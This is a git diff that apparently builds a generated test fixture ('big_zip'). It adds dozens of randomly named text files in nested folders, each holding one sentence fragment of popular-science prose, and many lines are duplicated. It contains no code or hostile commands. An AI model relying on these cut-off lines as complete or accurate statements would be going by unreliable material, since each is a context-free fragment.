+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_gowyeltiosjehkupluol.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_gowyeltiosjehkupluol.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_gowyeltiosjehkupluol.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_gwnkcyjienbgrrabhs.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_gwnkcyjienbgrrabhs.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_gwnkcyjienbgrrabhs.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_hyxusqncc.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_hyxusqncc.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_hyxusqncc.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ibmklqpzc.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ibmklqpzc.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ibmklqpzc.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ifmgrmqf.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ifmgrmqf.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ifmgrmqf.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ljyailhjwyio.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ljyailhjwyio.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ljyailhjwyio.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ozztfqivfstlbvlvdnxvp.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ozztfqivfstlbvlvdnxvp.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ozztfqivfstlbvlvdnxvp.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_pygijikbgs.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_pygijikbgs.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_pygijikbgs.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_qypyqkypc.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_qypyqkypc.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_qypyqkypc.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_rjmtikfgcmzcuifauo.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_rjmtikfgcmzcuifauo.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_rjmtikfgcmzcuifauo.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_suyygeokb.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_suyygeokb.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_suyygeokb.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_vivfibdcoizwdu.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_vivfibdcoizwdu.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_vivfibdcoizwdu.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_vpggahghzggns.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_vpggahghzggns.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_vpggahghzggns.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_xunevlpvwyazt.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_xunevlpvwyazt.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_xunevlpvwyazt.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ycahvmpcmtyqofetyxfq.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ycahvmpcmtyqofetyxfq.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ycahvmpcmtyqofetyxfq.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ycsqgdtcyyzwgp.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ycsqgdtcyyzwgp.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_ycsqgdtcyyzwgp.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_zfjvmkrkmav.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_zfjvmkrkmav.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_zfjvmkrkmav.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_zzlbxsqxbxnbjmjycmzizfp.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_zzlbxsqxbxnbjmjycmzizfp.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_zzlbxsqxbxnbjmjycmzizfp.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_bxnwqyxzquumlfunhxi.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_bxnwqyxzquumlfunhxi.txt
new file mode 100644
index 0000000..6ee861c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_bxnwqyxzquumlfunhxi.txt
@@ -0,0 +1 @@
+selection of changes, letter by letter, in the genetic instructions. Evolution must have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_bzodurugvtgk.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_bzodurugvtgk.txt
new file mode 100644
index 0000000..6ee861c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_bzodurugvtgk.txt
@@ -0,0 +1 @@
+selection of changes, letter by letter, in the genetic instructions. Evolution must have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_dmagvltqgxo.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_dmagvltqgxo.txt
new file mode 100644
index 0000000..6ee861c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_dmagvltqgxo.txt
@@ -0,0 +1 @@
+selection of changes, letter by letter, in the genetic instructions. Evolution must have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_gjnfvghjsbcii.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_gjnfvghjsbcii.txt
new file mode 100644
index 0000000..6ee861c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_gjnfvghjsbcii.txt
@@ -0,0 +1 @@
+selection of changes, letter by letter, in the genetic instructions. Evolution must have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_hnvevuhlxvi.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_hnvevuhlxvi.txt
new file mode 100644
index 0000000..6ee861c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_hnvevuhlxvi.txt
@@ -0,0 +1 @@
+selection of changes, letter by letter, in the genetic instructions. Evolution must have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_nxtjfetjibnhhi.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_nxtjfetjibnhhi.txt
new file mode 100644
index 0000000..6ee861c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_nxtjfetjibnhhi.txt
@@ -0,0 +1 @@
+selection of changes, letter by letter, in the genetic instructions. Evolution must have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_rwptfsaer.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_rwptfsaer.txt
new file mode 100644
index 0000000..6ee861c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_rwptfsaer.txt
@@ -0,0 +1 @@
+selection of changes, letter by letter, in the genetic instructions. Evolution must have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_sdcnrkzmxy.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_sdcnrkzmxy.txt
new file mode 100644
index 0000000..6ee861c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_sdcnrkzmxy.txt
@@ -0,0 +1 @@
+selection of changes, letter by letter, in the genetic instructions. Evolution must have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_uhizgvzssrecmyrylpmx.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_uhizgvzssrecmyrylpmx.txt
new file mode 100644
index 0000000..6ee861c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_uhizgvzssrecmyrylpmx.txt
@@ -0,0 +1 @@
+selection of changes, letter by letter, in the genetic instructions. Evolution must have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_vedfsdkbfipqkrtwgsqoytw.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_vedfsdkbfipqkrtwgsqoytw.txt
new file mode 100644
index 0000000..6ee861c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_vedfsdkbfipqkrtwgsqoytw.txt
@@ -0,0 +1 @@
+selection of changes, letter by letter, in the genetic instructions. Evolution must have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_wpnsnrqdqltdwqtvllblvamq.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_wpnsnrqdqltdwqtvllblvamq.txt
new file mode 100644
index 0000000..6ee861c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_wpnsnrqdqltdwqtvllblvamq.txt
@@ -0,0 +1 @@
+selection of changes, letter by letter, in the genetic instructions. Evolution must have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_wzqfhibpmstspqnwfopjsb.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_wzqfhibpmstspqnwfopjsb.txt
new file mode 100644
index 0000000..6ee861c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_wzqfhibpmstspqnwfopjsb.txt
@@ -0,0 +1 @@
+selection of changes, letter by letter, in the genetic instructions. Evolution must have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_yyiginblfyyowqidlxydx.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_yyiginblfyyowqidlxydx.txt
new file mode 100644
index 0000000..6ee861c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/file_yyiginblfyyowqidlxydx.txt
@@ -0,0 +1 @@
+selection of changes, letter by letter, in the genetic instructions. Evolution must have been
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/bloybejbyhh.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/bloybejbyhh.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/bloybejbyhh.txt
@@ -0,0 +1 @@
+sea of petroleum. Others concluded that there was no water vapor above the clouds because
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/efmenirbsghauhurt.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/efmenirbsghauhurt.txt
new file mode 100644
index 0000000..dce8ff1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/efmenirbsghauhurt.txt
@@ -0,0 +1 @@
+when kings and emperors ruled much of the world, the Dutch Republic was governed, more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_amxqqnwzkomqaidsd.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_amxqqnwzkomqaidsd.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_amxqqnwzkomqaidsd.txt
@@ -0,0 +1 @@
+network of intersecting straight and curved lines. Are they ridges - that is, raised? Are they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_bgmgwuuzh.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_bgmgwuuzh.txt
new file mode 100644
index 0000000..27f17fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_bgmgwuuzh.txt
@@ -0,0 +1 @@
+network of intersecting straight and curved lines. Are they ridges - that is, raised? Are they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_jrppiylrda.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_jrppiylrda.txt
new file mode 100644
index 0000000..27f17fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_jrppiylrda.txt
@@ -0,0 +1 @@
+network of intersecting straight and curved lines. Are they ridges - that is, raised? Are they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_roltlaujsnosbuobxgkpgqh.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_roltlaujsnosbuobxgkpgqh.txt
new file mode 100644
index 0000000..27f17fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_roltlaujsnosbuobxgkpgqh.txt
@@ -0,0 +1 @@
+network of intersecting straight and curved lines. Are they ridges - that is, raised? Are they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_veakbtshteb.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_veakbtshteb.txt
new file mode 100644
index 0000000..27f17fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_veakbtshteb.txt
@@ -0,0 +1 @@
+network of intersecting straight and curved lines. Are they ridges - that is, raised? Are they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_vgccxklxepmpuelkpifew.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_vgccxklxepmpuelkpifew.txt
new file mode 100644
index 0000000..27f17fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_vgccxklxepmpuelkpifew.txt
@@ -0,0 +1 @@
+network of intersecting straight and curved lines. Are they ridges - that is, raised? Are they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_wtdwxjpbbqvrzqhraxsnxz.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_wtdwxjpbbqvrzqhraxsnxz.txt
new file mode 100644
index 0000000..27f17fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_wtdwxjpbbqvrzqhraxsnxz.txt
@@ -0,0 +1 @@
+network of intersecting straight and curved lines. Are they ridges - that is, raised? Are they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_xssrxjgmuy.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_xssrxjgmuy.txt
new file mode 100644
index 0000000..27f17fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_xssrxjgmuy.txt
@@ -0,0 +1 @@
+network of intersecting straight and curved lines. Are they ridges - that is, raised? Are they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_ygfaaunmqoytbsubqpbtd.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_ygfaaunmqoytbsubqpbtd.txt
new file mode 100644
index 0000000..27f17fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_ygfaaunmqoytbsubqpbtd.txt
@@ -0,0 +1 @@
+network of intersecting straight and curved lines. Are they ridges - that is, raised? Are they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_yvvoajmqbvwbkey.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_yvvoajmqbvwbkey.txt
new file mode 100644
index 0000000..27f17fe
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/file_yvvoajmqbvwbkey.txt
@@ -0,0 +1 @@
+network of intersecting straight and curved lines. Are they ridges - that is, raised? Are they
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/gvcpyekjohstonwhh.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/gvcpyekjohstonwhh.txt
new file mode 100644
index 0000000..f541697
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/gvcpyekjohstonwhh.txt
@@ -0,0 +1 @@
+And yet pocket watches do not spontaneously self-assemble, or evolve, in slow stages, on
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/hxwqbidixiycdkxv.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/hxwqbidixiycdkxv.txt
new file mode 100644
index 0000000..f49080e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/hxwqbidixiycdkxv.txt
@@ -0,0 +1 @@
+The author of Nature . . . has made it impossible for us to have any communication
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/iyfqqjxepfjbszbnddmvd.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/iyfqqjxepfjbszbnddmvd.txt
new file mode 100644
index 0000000..ade662e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/iyfqqjxepfjbszbnddmvd.txt
@@ -0,0 +1 @@
+Fortunately, we do not yet know how to assemble alternative sequences of nucleotides to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/jkhqrbkvetgydtxlt.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/jkhqrbkvetgydtxlt.txt
new file mode 100644
index 0000000..bbe7bf6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/jkhqrbkvetgydtxlt.txt
@@ -0,0 +1 @@
+drawing hundreds of watts from the radioactive decay of a pellet of plutonium. Its three
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/kqpuqizu.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/kqpuqizu.txt
new file mode 100644
index 0000000..83daa6a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/kqpuqizu.txt
@@ -0,0 +1 @@
+darkness when the Moon is new. We can fix spears at night for tomorrow’s hunt. And if we
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/uewpvfkwbjpe.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/uewpvfkwbjpe.txt
new file mode 100644
index 0000000..9469d5a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/uewpvfkwbjpe.txt
@@ -0,0 +1 @@
+Things had been falling down since the beginning of time. That the Moon went
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/wgdtbwikdzapzdaujbsc.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/wgdtbwikdzapzdaujbsc.txt
new file mode 100644
index 0000000..7a7e9f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/wgdtbwikdzapzdaujbsc.txt
@@ -0,0 +1 @@
+Intellectuals were stunned at the Aztec books, ‘which,’ one of them said, ‘almost resemble
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/wovqsptrmpl.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/wovqsptrmpl.txt
new file mode 100644
index 0000000..a95b0be
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/wovqsptrmpl.txt
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/yfnpchjdqkuznyhjunaq.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/folder_wfttlstlah/folder_jknjxzdllq/yfnpchjdqkuznyhjunaq.txt
new file mode 100644
